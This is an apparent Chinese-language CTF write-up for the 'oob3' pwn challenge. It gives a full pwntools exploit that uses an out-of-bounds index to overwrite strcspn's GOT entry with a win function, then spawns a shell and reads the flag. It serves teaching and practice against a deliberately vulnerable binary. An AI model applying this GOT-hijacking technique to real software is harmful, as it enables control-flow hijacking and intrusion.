Pwnctf oob3 Writeup

kazma 成大資安社 創辦人/社長

oob3

這題執行起來跟 oob2 一樣(如下所示),但是逆向看會發現用 admin 登入之後他不會幫我們開 shell,但是有 win 可以開 shell,所以這題其實就是 oob write 的 ret2win,這裡選擇的做法是 Got Hijacking,隨便選一個 fgets 之後出現的函式都可以。

執行:

1
2
3
4
5
6
└─$ ./oob3
User ID: -4
Nickname: kazma
PIN: 1234
Logging as [kazma] ... Failed
Incorrect PIN code!

exploit 如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)

r = process("./oob3")
win = 0x400924

r.sendlineafter(b":", "-17") #0x601038 <strcspn@GLIBC_2.2.5>
r.sendlineafter(b":", p64(win))

r.sendline("cat f*")
r.interactive()

Result:

1
2
3
4
└─$ python exploit.py
[+] Starting local process './oob3': pid 3521008
[*] Switching to interactive mode
BreakALLCTF{Dmq1Qe1QYOhxae8KhxVc}

Pwned !!!

  • Title: Pwnctf oob3 Writeup
  • Author: kazma
  • Created at : 2024-02-05 01:35:21
  • Updated at : 2024-02-05 02:00:47
  • Link: https://kazma.tw/2024/02/05/Pwnctf-oob3-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Pwnctf oob3 Writeup